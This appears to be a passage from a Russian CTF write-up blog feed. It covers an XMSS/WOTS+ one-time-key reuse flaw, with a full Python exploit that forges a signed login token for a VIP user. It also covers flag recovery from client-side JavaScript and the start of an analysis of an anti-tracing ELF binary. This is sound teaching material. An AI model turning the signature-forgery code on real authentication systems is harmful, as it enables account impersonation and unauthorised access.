        &amp;g_xmss_state-&gt;xmss_params,
        g_xmss_state-&gt;xmss_sk
    );

    if (current_index == *signing_index) {
        if (xmssmt_update_sk(
                &amp;g_xmss_state-&gt;xmss_params,
                g_xmss_state-&gt;xmss_sk
            ) != 0) {
            return -1;
        }

        next_index = signing_key_index(
            &amp;g_xmss_state-&gt;xmss_params,
            g_xmss_state-&gt;xmss_sk
        );
    }

    return 0;
}</pre>
  <p id="SJNk">Однако вызов <code>xmssmt_update_signing_key()</code> в программе отсутствует.<br />Поиск по исходникам показывает, что функция определена, но нигде не используется:</p>
  <pre id="Gclp">xmss_keys.c: xmssmt_update_signing_key(...)
xmss_keys.h: xmssmt_update_signing_key(...)</pre>
  <p id="BDBv">При каждой регистрации выполняется только:</p>
  <pre id="Ymk5" data-lang="c">xmssmt_core_sign(
    &amp;g_xmss_state-&gt;xmss_params,
    g_xmss_state-&gt;xmss_sk,
    sm,
    &amp;smlen,
    msg,
    mlen
);</pre>
  <p id="g2xt">В результате один и тот же XMSS-индекс и один и тот же WOTS+-ключ используются для подписи множества разных имён пользователей.<br />Это и является основной уязвимостью задания.</p>
  <h3 id="rbzq">Почему повторное использование WOTS+ опасно</h3>
  <p id="rlhW">WOTS+ состоит из набора хеш-цепочек. Для каждого элемента сообщения выбирается определённая позиция в соответствующей цепочке.<br />Упрощённо подпись одного элемента выглядит так:</p>
  <pre id="YZzi">signature[i] = F^a(secret[i])</pre>
  <p id="pQD4">где:<br /><code>secret[i]</code> — секретное начало цепочки;<br /><code>F</code> — односторонняя хеш-функция;<br /><code>a</code> — значение, полученное из хеша сообщения.<br />Проверяющая сторона продолжает вычисления до конца цепочки:</p>
  <pre id="AB8H">public[i] = F^(w - 1 - a)(signature[i])</pre>
  <p id="wM0z">Если известна подпись для значения <code>a</code>, можно получить подпись для любого большего значения <code>b</code>:</p>
  <pre id="9cAk">F^(b - a)(signature[i]) = F^b(secret[i])</pre>
  <p id="MT80">Вернуться назад по цепочке невозможно, но двигаться вперёд можно.<br />Следовательно, если один WOTS+-ключ используется для подписания большого количества сообщений, для каждой цепочки можно выбрать подпись с минимальной известной позицией. После этого из неё можно вычислить подпись почти для любого другого сообщения.</p>
  <p id="fUPd"></p>
  <h2 id="z8xc" data-align="center">Формат подписи</h2>
  <p id="Pwvg"></p>
  <p id="DvgZ">Размер XMSS-подписи в задании:</p>
  <pre id="SSjC" data-lang="c">#define XMSS_SIG_SIZE 1684</pre>
  <p id="bamI">Открытый ключ имеет размер 32 байта:</p>
  <pre id="3CMz" data-lang="c">#define XMSS_PK_SIZE 32</pre>
  <p id="O83R">Он состоит из:</p>
  <pre id="0jGx">root     — 16 байт
pub_seed — 16 байт</pre>
  <p id="JvA1">Начало подписи имеет следующий формат:</p>
  <pre id="K3yj">offset  size   назначение
0       4      XMSS index
4       16     случайное значение R
20      288    WOTS+ подпись нижнего уровня</pre>
  <p id="zMig">Параметры WOTS+:</p>
  <pre id="vsKb">n        = 16
w        = 256
len_1    = 16
len_2    = 2
WOTS_LEN = 18</pre>
  <p id="CdTm">Размер WOTS+-части:</p>
  <pre id="gkiv">18 × 16 = 288 байт</pre>
  <p id="is70">Таким образом:</p>
  <pre id="O4ae">N = 16
WOTS_LEN = 18
WOTS_OFFSET = 4 + N
WOTS_BYTES = WOTS_LEN * N</pre>
  <p id="MAL5"></p>
  <h2 id="NIxB" data-align="center">Проверка повторного использования ключа</h2>
  <p id="PFsE"></p>
  <p id="skcZ">Регистрируем несколько пользователей и разбираем полученные токены.<br />Каждый токен состоит из XMSS-подписи и подписанного сообщения:</p>
  <pre id="nTmb">token = signature || username</pre>
  <p id="zKPK">Для каждого токена извлекаем индекс и значение <code>R</code>:</p>
  <pre id="umgR">sig = token[:1684]

idx = int.from_bytes(sig[:4], &quot;big&quot;)
R = sig[4:20]</pre>
  <p id="nImW">У всех полученных подписей значения совпадают:</p>
  <pre id="AdRB">idx одинаковый
R одинаковый</pre>
  <p id="w31J">Одинаковый <code>idx</code> подтверждает повторное использование одного листа XMSS и, следовательно, одного нижнего WOTS+-ключа.<br />Одинаковое значение <code>R</code> дополнительно упрощает атаку: для вычисления хеша целевого сообщения можно использовать параметры любой зарегистрированной подписи.</p>
  <h2 id="M6iw" data-align="center">Вычисление хеша сообщения</h2>
  <p id="PGLV"></p>
  <p id="3Jdx">В данной реализации используется MD5 с доменным разделением.<br />Хеш подписываемого сообщения вычисляется как:</p>
  <pre id="SsOe">H_msg = MD5(
    toByte(2, 4) ||
    R ||
    root ||
    index ||
    message
)</pre>
  <p id="I0Ia"></p>
  <h2 id="FgYQ" data-align="center">Реализация на python</h2>
  <p id="1R2z"></p>
  <pre id="J0DK" data-lang="python">def message_digest(root: bytes, idx: int, R: bytes, msg: bytes) -&gt; bytes:
    return hashlib.md5(
        struct.pack(&quot;&gt;I&quot;, 2)
        + R
        + root
        + idx.to_bytes(16, &quot;big&quot;)
        + msg
    ).digest()</pre>
  <p id="ojAb">Так как <code>n = 16</code>, хеш содержит 16 байт. При <code>w = 256</code> каждый байт непосредственно задаёт длину одной WOTS-цепочки.<br />К ним добавляется двухбайтовая контрольная сумма:</p>
  <pre id="N1tb" data-lang="python">def chain_lengths(digest: bytes):
    values = list(digest)

    checksum = sum(255 - value for value in values)
    values.extend(checksum.to_bytes(2, &quot;big&quot;))

    return values</pre>
  <p id="QefN">В итоге для каждого сообщения получается 18 длин цепочек.<br />8. Сбор элементов WOTS+<br />Регистрируем большое количество случайных пользователей. Для каждого имени:<br />получаем токен;<br />вычисляем хеш подписанного имени;<br />определяем 18 длин WOTS-цепочек;<br />извлекаем 18 элементов из подписи;<br />для каждой позиции сохраняем элемент с минимальной длиной цепочки.<br />Логика сбора:</p>
  <pre id="jhaa" data-lang="python">best = [None] * WOTS_LEN

for j, length in enumerate(lengths):
    element = wots[j * N:(j + 1) * N]

    if best[j] is None or length &lt; best[j][0]:
        best[j] = (length, element)</pre>
  <p id="wjFc">Для целевого сообщения <code>kopatych</code> также вычисляем необходимые длины:</p>
  <pre id="udZw" data-lang="python">target_digest = message_digest(
    root,
    common_idx,
    common_R,
    b&quot;kopatych&quot;
)

target_lengths = chain_lengths(target_digest)</pre>
  <p id="t6LO">Для успешной подделки подписи должно выполняться условие для всех 18 цепочек.</p>
  <pre id="H9tF">known_length[i] &lt;= target_length[i]</pre>
  <p id="aZrH">Если для какой-либо позиции сохранённый элемент находится дальше по цепочке, чем требуется для <code>kopatych</code>, нужно продолжать регистрацию пользователей.<br />Поскольку значения байтов хеша распределены практически равномерно, через некоторое количество регистраций для каждой позиции находится достаточно ранний элемент цепочки.</p>
  <p id="oq0J"></p>
  <h2 id="YBFe" data-align="center">Продолжение WOTS-цепочек</h2>
  <p id="fW4S"></p>
  <p id="0IJx">Для преобразования найденного элемента в элемент подписи <code>kopatych</code> необходимо продолжить соответствующую хеш-цепочку.<br />В WOTS+ хеширование зависит не только от текущего значения, но и от адреса элемента.<br />Адрес содержит:</p>
  <ul id="T5Pj">
    <li id="huqn">слой XMSSMT;</li>
    <li id="9Qym">индекс дерева;</li>
    <li id="pwwz">индекс листа;</li>
    <li id="8DVf">номер WOTS-цепочки;</li>
    <li id="VHds">текущий шаг цепочки;</li>
    <li id="AjuV">тип хеширования.</li>
  </ul>
  <p id="ljc7">Реализация функции <code>F</code>:</p>
  <pre id="ORw9" data-lang="python">def prf(pub_seed: bytes, addr_words) -&gt; bytes:
    addr = b&quot;&quot;.join(struct.pack(&quot;&gt;I&quot;, x) for x in addr_words)
    return hashlib.md5(
        struct.pack(&quot;&gt;I&quot;, 3)
        + pub_seed
        + addr
    ).digest()
def thash_f(value: bytes, pub_seed: bytes, addr_words) -&gt; bytes:
    addr = list(addr_words)

    addr[7] = 0
    key = prf(pub_seed, addr)

    addr[7] = 1
    mask = prf(pub_seed, addr)

    masked = bytes(
        x ^ y for x, y in zip(value, mask)
    )

    return hashlib.md5(
        struct.pack(&quot;&gt;I&quot;, 0)
        + key
        + masked
    ).digest()</pre>
  <p id="KvL3">Для каждого элемента подписи выполняем необходимое количество шагов:</p>
  <pre id="cujQ" data-lang="python">for j, target_length in enumerate(target_lengths):
    start_length, value = best[j]

    address = [
        0,
        (idx_tree &gt;&gt; 32) &amp; 0xffffffff,
        idx_tree &amp; 0xffffffff,
        0,
        idx_leaf,
        j,
        0,
        0
    ]

    for step in range(start_length, target_length):
        address[6] = step
        value = thash_f(value, pub_seed, address)

    offset = WOTS_OFFSET + j * N
    forged_signature[offset:offset + N] = value
    </pre>
  <p id="xhHX"></p>
  <h2 id="C5qV" data-align="center">Почему достаточно изменить только нижнюю WOTS-подпись</h2>
  <p id="3Z0B"></p>
  <p id="fkem"><br />XMSSMT-подпись содержит несколько уровней дерева.<br />Можно было бы предположить, что для подделки сообщения потребуется заново построить:</p>
  <ul id="RQP7">
    <li id="7Jj9">WOTS-подписи всех уровней;</li>
    <li id="FNKJ">пути аутентификации;</li>
    <li id="EWrK">корни промежуточных деревьев.</li>
  </ul>
  <p id="hJQs">Однако это не требуется.<br />Повторно используется тот же XMSS-индекс. После модификации нижней WOTS+-подписи она всё равно восстанавливает тот же открытый WOTS-ключ, что и легитимная подпись.<br />Следовательно:</p>
  <ul id="YsGP">
    <li id="6lOl">лист дерева остаётся прежним;</li>
    <li id="KsTN">путь аутентификации нижнего дерева остаётся валидным;</li>
    <li id="Mhhk">корень нижнего дерева не изменяется;</li>
    <li id="0mIU">подписи верхних уровней остаются валидными.</li>
  </ul>
  <p id="NOi7">Поэтому из любого легитимного токена можно сохранить:</p>
  <ul id="uPS3">
    <li id="XoVi">индекс;</li>
    <li id="Alcv"><code>R</code>;</li>
    <li id="lOOM">пути аутентификации;</li>
    <li id="PYwj">WOTS-подписи верхних уровней.</li>
  </ul>
  <p id="bvI7">Заменить необходимо только первые 288 байт WOTS+-части, начиная со смещения 20.</p>
  <p id="U1L3"></p>
  <h2 id="W2ou" data-align="center">Формирование поддельного токена</h2>
  <p id="lewR"></p>
  <p id="SlLz">Берём любую легитимную подпись как основу:</p>
  <pre id="D1o8">forged_signature = bytearray(base_signature)</pre>
  <p id="lewU">Заменяем в ней нижнюю WOTS+-часть, после чего добавляем целевое имя пользователя:</p>
  <pre id="nJKQ">forged_token = bytes(forged_signature) + b&quot;kopatych&quot;</pre>
  <p id="fUkI">Токен отправляется в функцию авторизации в hex-представлении:</p>
  <pre id="7PNi">client.login(forged_token)</pre>
  <p id="f4GD">Сервер успешно проверяет подпись и извлекает имя:</p>
  <pre id="dNH6">Login successful</pre>
  <p id="a2iP">Затем запрашиваем стену пользователя:</p>
  <pre id="TwHb">P
kopatych</pre>
  <p id="aBwp">Поскольку сессия теперь принадлежит VIP-пользователю <code>kopatych</code>, сервер возвращает полное содержимое публикации, включая искомую локацию.</p>
  <p id="udI5"></p>
  <h2 id="NeMi" data-align="center">Эксплойт</h2>
  <p id="tpXv"></p>
  <pre id="G2vz" data-lang="python">#!/usr/bin/env python3
import argparse
import hashlib
import os
import random
import socket
import string
import struct
import sys
import time

INVITE_DEFAULT = &#x27;uCQq3YsK7TmoZBlN4UYkng&#x27;
XMSS_SIG_SIZE = 1684
N = 16
WOTS_LEN = 18
WOTS_OFFSET = 4 + N
WOTS_BYTES = WOTS_LEN * N


def md5(data: bytes) -&gt; bytes:
    return hashlib.md5(data).digest()


def u32(x: int) -&gt; bytes:
    return struct.pack(&#x27;&gt;I&#x27;, x &amp; 0xffffffff)


def prf(pub_seed: bytes, addr_words) -&gt; bytes:
    addr = b&#x27;&#x27;.join(u32(x) for x in addr_words)
    return md5(u32(3) + pub_seed + addr)


def thash_f(value: bytes, pub_seed: bytes, addr_words) -&gt; bytes:
    a = list(addr_words)
    a[7] = 0
    key = prf(pub_seed, a)
    a[7] = 1
    mask = prf(pub_seed, a)
    return md5(u32(0) + key + bytes(x ^ y for x, y in zip(value, mask)))


def message_digest(root: bytes, idx: int, R: bytes, msg: bytes) -&gt; bytes:
    return md5(u32(2) + R + root + idx.to_bytes(N, &#x27;big&#x27;) + msg)


def chain_lengths(digest: bytes):
    vals = list(digest)
    checksum = sum(255 - x for x in vals)
    vals.extend(checksum.to_bytes(2, &#x27;big&#x27;))
    return vals


def recv_until(sock: socket.socket, marker: bytes, timeout=20) -&gt; bytes:
    sock.settimeout(timeout)
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(65536)
        if not chunk:
            raise EOFError(f&#x27;connection closed while waiting for {marker!r}&#x27;)
        data += chunk
    return bytes(data)


class Client:
    def __init__(self, host, port, invite):
        self.s = socket.create_connection((host, port), timeout=10)
        recv_until(self.s, b&#x27;Invite code: &#x27;)
        self.s.sendall(invite.encode() + b&#x27;\n&#x27;)
        recv_until(self.s, b&#x27;Enter your choice: &#x27;)

    def cmd(self, letter: str, prompt: bytes | None = None, answer: str | None = None) -&gt; bytes:
        self.s.sendall(letter.encode() + b&#x27;\n&#x27;)
        data = b&#x27;&#x27;
        if prompt is not None:
            data = recv_until(self.s, prompt)
            self.s.sendall(answer.encode() + b&#x27;\n&#x27;)
        data += recv_until(self.s, b&#x27;Enter your choice: &#x27;)
        return data

    def get_public_key(self) -&gt; bytes:
        out = self.cmd(&#x27;K&#x27;).decode(errors=&#x27;replace&#x27;)
        line = next(x for x in out.splitlines() if &#x27;Public Key&#x27; in x)
        return bytes.fromhex(line.rsplit(&#x27;: &#x27;, 1)[1].strip())

    def list_vips(self) -&gt; str:
        return self.cmd(&#x27;V&#x27;).decode(errors=&#x27;replace&#x27;)

    def register(self, username: str) -&gt; bytes:
        out = self.cmd(&#x27;R&#x27;, b&#x27;Nickname (max 16 chars): &#x27;, username).decode(errors=&#x27;replace&#x27;)
        for line in out.splitlines():
            if &#x27;HoneyPass token: &#x27; in line:
                return bytes.fromhex(line.split(&#x27;HoneyPass token: &#x27;, 1)[1].strip())
        raise RuntimeError(f&#x27;failed to register {username!r}: {out}&#x27;)

    def login(self, token: bytes) -&gt; str:
        return self.cmd(&#x27;L&#x27;, b&#x27;HoneyPass token: &#x27;, token.hex()).decode(errors=&#x27;replace&#x27;)

    def peek(self, username: str) -&gt; str:
        return self.cmd(&#x27;P&#x27;, b&#x27;or another nickname): &#x27;, username).decode(errors=&#x27;replace&#x27;)


def random_username(counter: int) -&gt; str:
    # Printable, unique, at most 16 characters.
    suffix = format(counter, &#x27;x&#x27;)
    rnd = &#x27;&#x27;.join(random.choice(string.ascii_letters + string.digits) for _ in range(15-len(suffix)))
    return (&#x27;x&#x27; + rnd + suffix)[:16]


def forge(host, port, invite, target, max_samples):
    c = Client(host, port, invite)
    print(&#x27;[+] Connected&#x27;)
    print(c.list_vips().strip())

    pk = c.get_public_key()
    if len(pk) != 32:
        raise RuntimeError(f&#x27;unexpected public key length: {len(pk)}&#x27;)
    root, pub_seed = pk[:16], pk[16:]
    print(f&#x27;[+] Public root: {root.hex()}&#x27;)
    print(f&#x27;[+] Public seed: {pub_seed.hex()}&#x27;)

    best = [None] * WOTS_LEN  # (chain_length, 16-byte WOTS element)
    base_sig = None
    common_idx = None
    common_R = None

    for i in range(max_samples):
        username = random_username(i)
        signed = c.register(username)
        if len(signed) != XMSS_SIG_SIZE + len(username):
            raise RuntimeError(f&#x27;unexpected signed token length {len(signed)}&#x27;)
        sig, msg = signed[:XMSS_SIG_SIZE], signed[XMSS_SIG_SIZE:]
        idx = int.from_bytes(sig[:4], &#x27;big&#x27;)
        R = sig[4:20]

        if base_sig is None:
            base_sig = bytearray(sig)
            common_idx, common_R = idx, R
        elif idx != common_idx or R != common_R:
            raise RuntimeError(&#x27;signing index/R changed; reconnect to a fresh instance or use concurrent collection&#x27;)

        digest = message_digest(root, idx, R, msg)
        lengths = chain_lengths(digest)
        wots = sig[WOTS_OFFSET:WOTS_OFFSET + WOTS_BYTES]
        for j, length in enumerate(lengths):
            elem = wots[j*N:(j+1)*N]
            if best[j] is None or length &lt; best[j][0]:
                best[j] = (length, elem)

        target_digest = message_digest(root, common_idx, common_R, target.encode())
        target_lengths = chain_lengths(target_digest)
        missing = [j for j in range(WOTS_LEN) if best[j] is None or best[j][0] &gt; target_lengths[j]]
        if i % 25 == 0 or not missing:
            mins = &#x27;,&#x27;.join(&#x27;--&#x27; if x is None else f&#x27;{x[0]:02x}&#x27; for x in best)
            print(f&#x27;[*] samples={i+1:4d}, missing={missing}, minima={mins}&#x27;)
        if not missing:
            break
    else:
        raise RuntimeError(f&#x27;not enough samples after {max_samples}; increase --max-samples&#x27;)

    target_digest = message_digest(root, common_idx, common_R, target.encode())
    target_lengths = chain_lengths(target_digest)
    print(f&#x27;[+] Target @{target} digest: {target_digest.hex()}&#x27;)
    print(&#x27;[+] Target chain lengths:&#x27;, target_lengths)

    idx_tree = common_idx &gt;&gt; 8
    idx_leaf = common_idx &amp; 0xff
    for j, target_len in enumerate(target_lengths):
        start_len, value = best[j]
        addr = [0, (idx_tree &gt;&gt; 32) &amp; 0xffffffff, idx_tree &amp; 0xffffffff, 0,
                idx_leaf, j, 0, 0]
        for step in range(start_len, target_len):
            addr[6] = step
            value = thash_f(value, pub_seed, addr)
        off = WOTS_OFFSET + j*N
        base_sig[off:off+N] = value

    forged = bytes(base_sig) + target.encode()
    print(f&#x27;[+] Forged token: {forged.hex()}&#x27;)
    login_out = c.login(forged)
    print(login_out.strip())
    if &#x27;Login successful&#x27; not in login_out:
        raise RuntimeError(&#x27;forged login failed&#x27;)
    wall = c.peek(target)
    print(&#x27;\n[+] Full wall output:\n&#x27; + wall)


if __name__ == &#x27;__main__&#x27;:
    ap = argparse.ArgumentParser(description=&#x27;NaPaseke XMSS/WOTS one-time-key reuse exploit&#x27;)
    ap.add_argument(&#x27;host&#x27;, nargs=&#x27;?&#x27;, default=&#x27;napaseke-m9ybjl6b.avitoctf.ru&#x27;)
    ap.add_argument(&#x27;port&#x27;, nargs=&#x27;?&#x27;, type=int, default=30012)
    ap.add_argument(&#x27;--invite&#x27;, default=INVITE_DEFAULT)
    ap.add_argument(&#x27;--target&#x27;, default=&#x27;kopatych&#x27;)
    ap.add_argument(&#x27;--max-samples&#x27;, type=int, default=2000)
    args = ap.parse_args()
    forge(args.host, args.port, args.invite, args.target, args.max_samples)
    </pre>
  <p id="G2vz"></p>
  <h2 id="JrXJ" data-align="center">Запуск</h2>
  <p id="5NIC"></p>
  <pre id="Fz3S" data-lang="bash">python3 solve_napaseke.py \
    napaseke-m9ybjl6b.avitoctf.ru \
    30012</pre>
  <p id="lqpm">Если основной инстанс недоступен, можно использовать дополнительные порты:</p>
  <pre id="c0Bk" data-lang="bash">python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30112
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30212
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30312
python3 solve_napaseke.py napaseke-m9ybjl6b.avitoctf.ru 30412</pre>
  <p id="sKXI">После накопления достаточного количества подписей эксплойт выводит:</p>
  <pre id="yc1d">Login successful</pre>
  <p id="NrYg">А затем полное содержимое стены пользователя <code>kopatych</code>, в котором указана искомая локация.</p>
  <h2 id="sdlD" data-align="center">Итог</h2>
  <p id="siTz"></p>
  <p id="Gphe">Причиной уязвимости стало нарушение основного требования stateful hash-based signatures: одноразовый WOTS+-ключ был использован для подписи множества различных сообщений.<br />Функция обновления состояния секретного ключа была реализована, но не вызывалась после создания подписи. Поэтому все зарегистрированные пользователи получали токены, сформированные с одним XMSS-индексом.<br />Собрав несколько таких подписей, можно:<br />определить позиции элементов в WOTS+-цепочках;<br />выбрать наиболее ранний известный элемент каждой цепочки;<br />продолжить цепочки до значений, необходимых для строки <code>kopatych</code>;<br />заменить нижнюю WOTS+-часть легитимной XMSS-подписи;<br />сохранить остальные уровни XMSSMT без изменений;<br />сформировать валидный токен пользователя <code>kopatych</code>;<br />войти под VIP-профилем и прочитать закрытую публикацию.<br />Уязвимость классифицируется как повторное использование одноразового ключа в WOTS+/XMSS, приводящее к подделке цифровой подписи и обходу механизма аутентификации.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@filepom/firststeps</guid><link>https://teletype.in/@filepom/firststeps?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/firststeps?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>Writeup - firststeps</title><pubDate>Mon, 27 Jul 2026 12:47:07 GMT</pubDate><description><![CDATA[Цель: Найти флаг на CTF-задаче «Первые шаги»]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qonK"><strong>Цель:</strong> Найти флаг на CTF-задаче «Первые шаги»</p>
    <p id="8hOG"><strong>Декодирование:</strong> «The early bee gets the honey» (Кто рано встаёт — того мёд ждёт) — leetspeak<br /><strong>Категория:</strong> Web/JavaScript reverse engineering (client-side CTF challenge)</p>
  </section>
  <p id="JHzo"></p>
  <h2 id="NDoe" data-align="center">Разведка</h2>
  <p id="oVR4"></p>
  <ul id="Rlp8">
    <li id="cSiw">Открываем сайт <a href="https://firststeps-5w7im53y.avitoctf.ru" target="_blank">https://firststeps-5w7im53y.avitoctf.ru</a></li>
    <li id="euEg">Видим игру «Первые шаги» — лабиринт на сотах, где нужно провести барсука-медоеда к флагу, обходя ловушки</li>
    <li id="hlIN">Изучаем исходный код страницы — находим подключённый JavaScript-файл <code>/assets/firststeps.js</code></li>
  </ul>
  <p id="DA03"></p>
  <h2 id="d5cc" data-align="center">Анализ JavaScript</h2>
  <p id="KC9c"></p>
  <p id="OTj0">В файле <code>firststeps.js</code> обнаруживаем ключевую функцию <code>levelReward(level)</code>, которая генерирует часть флага для каждого уровня сложности:</p>
  <p id="0POP">Ключевые константы:</p>
  <pre id="ubl4" data-lang="javascript">var FIXED_COLS = 15;
var FIXED_ROWS = 10;
var LEVEL_ORDER = [&#x27;easy&#x27;, &#x27;medium&#x27;, &#x27;hard&#x27;];
var LEVEL_REWARD_LENGTHS = [10, 9, 9];  // длина каждой части флага

// Массив зашифрованных данных для всех частей флага
var LEVEL_REWARD_DATA = [
  99,179,125,189,59,220,227,52,178,148,
  156,34,201,91,248,251,14,73,54,212,
  178,230,102,64,45,182,145,14,3,160
];

// Координаты &quot;дырок&quot; на игровом поле (используются для seed&#x27;а)
var FIXED_HOLE_COORDS = [[2,1],[7,1],[11,1],[4,2],[9,3],[13,3],
                         [1,4],[6,5],[11,5],[3,7],[8,8],[12,8]];</pre>
  <p id="L4bL">Функция генерации части флага</p>
  <pre id="ZkpA" data-lang="javascript">function levelReward(level){
  var index = LEVEL_ORDER.indexOf(level); // 0, 1, 2

  // Начальное seed-значение на основе индекса уровня и размеров поля
  var stream = (0x6d2b79f5 ^ Math.imul(index + 1, 0x9e3779b1)
                ^ (FIXED_COLS &lt;&lt; 24) ^ (FIXED_ROWS &lt;&lt; 16)) &gt;&gt;&gt; 0;

  // Примешиваем координаты &quot;дырок&quot; в seed
  FIXED_HOLE_COORDS.forEach(function(pos, holeIndex){
    stream ^= Math.imul(cellKey(pos[0], pos[1], FIXED_COLS)
                + holeIndex + 1, 0x045d9f3b);
    stream = ((stream &lt;&lt; 11) | (stream &gt;&gt;&gt; 21)) &gt;&gt;&gt; 0;
  });

  var reward = &#x27;&#x27;;
  // lane определяет, какие байты из LEVEL_REWARD_DATA брать
  var lane = (index * 2 + 1) % LEVEL_ORDER.length;

  for (var i = 0; i &lt; LEVEL_REWARD_LENGTHS[index]; i++){
    // xor-шифр: псевдослучайная последовательность на основе stream
    stream ^= stream &lt;&lt; 13;
    stream ^= stream &gt;&gt;&gt; 17;
    stream ^= stream &lt;&lt; 5;
    stream &gt;&gt;&gt;= 0;
    // Берём байт из LEVEL_REWARD_DATA и xor&#x27;им с младшим байтом stream
    reward += String.fromCharCode(
      LEVEL_REWARD_DATA[i * LEVEL_ORDER.length + lane] ^ (stream &amp; 255)
    );
  }
  return reward;
}</pre>
  <ol id="Tv6y">
    <li id="oTs9"><strong>Алгоритм генерации:</strong><br />Вычисляется seed (<code>stream</code>) на основе номера уровня (0, 1, 2), размера поля (15×10) и координат «дырок»</li>
    <li id="yrn6">Для каждого символа флага применяется простой xor-шифр: берётся байт из предопределённого массива <code>LEVEL_REWARD_DATA</code> и xor&#x27;ится с псевдослучайной последовательностью, генерируемой через младший байт <code>stream</code></li>
    <li id="eZgA">Lane (дорожка) определяет, какие элементы массива относятся к какому уровню:</li>
  </ol>
  <ul id="zd62">
    <li id="EVdy"><code>easy (index 0) → lane 1</code> — элементы 1, 4, 7, 10, 13, 16, 19, 22, 25, 28</li>
    <li id="va3r"><code>medium (index 1) → lane 0</code> — элементы 0, 3, 6, 9, 12, 15, 18, 21, 24</li>
    <li id="OUpA"><code>hard (index 2) → lane 2</code> — элементы 2, 5, 8, 11, 14, 17, 20, 23, 26</li>
  </ul>
  <p id="3Ery"></p>
  <h2 id="hEH8" data-align="center">Эксплуатация</h2>
  <p id="wUeo"></p>
  <p id="GIzl">Флаг генерируется <strong>полностью на клиентской стороне</strong>. Нет необходимости проходить игру — достаточно скопировать функцию <code>levelReward()</code> и выполнить её в любой JavaScript-среде (браузерная консоль, Node.js).</p>
  <h3 id="d5Ht">Способ 1:Через консоль браузера</h3>
  <p id="13JD">Открыть DevTools (F12) на странице <a href="https://firststeps-5w7im53y.avitoctf.ru" target="_blank">https://firststeps-5w7im53y.avitoctf.ru</a><br />Выполнить в консоли:</p>
  <pre id="Gd59" data-lang="javascript">var flag = &#x27;&#x27;;
for (var l of [&#x27;easy&#x27;, &#x27;medium&#x27;, &#x27;hard&#x27;]) flag += levelReward(l);
console.log(&#x27;avito{&#x27; + flag + &#x27;}&#x27;);</pre>
  <h3 id="jSiQ">Способ 2: Node.js репликация</h3>
  <p id="O7Uy">Создать файл <code>compute_flag.js</code> со скопированной функцией <code>levelReward()</code> и выполнить:</p>
  <pre id="1LAI" data-lang="bash">node compute_flag.js</pre>
  <p id="hXxO"></p>
  <h2 id="NdIt" data-align="center">Вывод</h2>
  <p id="PSii"></p>
  <p id="U75Z"><strong>Уязвимость:</strong> Клиентская генерация флага — вся логика вычисления флага выполняется на стороне клиента в JavaScript. Любой пользователь может прочитать и воспроизвести эту логику, получив флаг без прохождения игры.<br /><strong>Рекомендация по исправлению:</strong> Флаг должен генерироваться и проверяться на серверной стороне. Клиент должен отправлять серверу доказательство прохождения уровня (например, найденный путь в лабиринте), а сервер — возвращать часть флага только при валидном решении.<br /><strong>Потенциальное улучшение:</strong> API-эндпоинт <code>/api/flag?level=easy&amp;proof=&lt;path_hash&gt;</code>, который проверяет, действительно ли игрок прошёл уровень до конца, и возвращает только соответствующую часть флага.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@filepom/io_hrana</guid><link>https://teletype.in/@filepom/io_hrana?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/io_hrana?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>Пост охраны (io_hrana) — Writeup</title><pubDate>Mon, 27 Jul 2026 06:21:36 GMT</pubDate><description><![CDATA[Категория: Reverse / Linux]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Xrs4">Категория: Reverse / Linux </p>
    <p id="lI5p">Сложность: Hard </p>
    <p id="Zav7">Автор: Ксения <a href="https://t.me/g1inko" target="_blank">@g1inko</a>, SPbCTF</p>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="23V6">Описание задания:<br />Дан файл io_hrana.elf — «сторожевой шершень», который аттестует систему перед тем, как впустить в улей. Нужно пройти аттестацию и доказать, что «ты не робот, не верблюд и не медоед».</p>
  </section>
  <p id="NVnP"></p>
  <h2 id="ilsM" data-align="center">Разведка</h2>
  <p id="ggun"></p>
  <pre id="CLBJ" data-lang="bash">$ file io_hrana.elf
io_hrana.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,
BuildID[...]=..., for GNU/Linux 3.2.0, stripped</pre>
  <p id="wuyo">Статически слинкованный, stripped, ~2 МБ. Первый запуск:</p>
  <pre id="3cGn" data-lang="bash">$ ./io_hrana.elf

--=[ I WILL ONLY REVEAL MY SECRETS TO THE WORTHY ]=--

[*] Initializing.
system name = Linux
node name   = vm
...
[+] I am now ready to test your system

[*] Starting attestation
    5
    4
    3
    2
    1
    0
CHECK [1/4]
[+] init ok
CHECK [2/4]
...
</pre>
  <p id="vMFS">Дальше идут четыре последовательные проверки. Обычный <strong><em>strings</em></strong> по бинарю не находит ни одной из выводимых фраз (&quot;attestation&quot;, &quot;CHECK&quot;, &quot;dedicated user&quot; и т.д.) — то есть все текстовые константы намеренно спрятаны от статического анализа.<br />Первая попытка воспользоваться <em><strong>strace</strong></em>, чтобы посмотреть, какие файлы/сокеты трогает программа на каждой проверке, тоже почти ничего не даёт: в трассе видно буквально пару системных вызовов (<strong><em>uname, readlink /proc/self/exe</em></strong>, один <em><strong>openat(&quot;/proc/1/comm&quot;)</strong></em>) — а весь остальной ввод-вывод, включая все <strong><em>write</em></strong> в stdout, в strace просто отсутствует, хотя текст реально печатается на экран.<br />Причина: io_uring + SQPOLL как анти-трассировочный приём<br />В трассе, однако, виден характерный вызов:</p>
  <pre id="U3R6" data-lang="c">io_uring_setup(16, {flags=IORING_SETUP_SQPOLL|IORING_SETUP_R_DISABLED, ...}) = 3
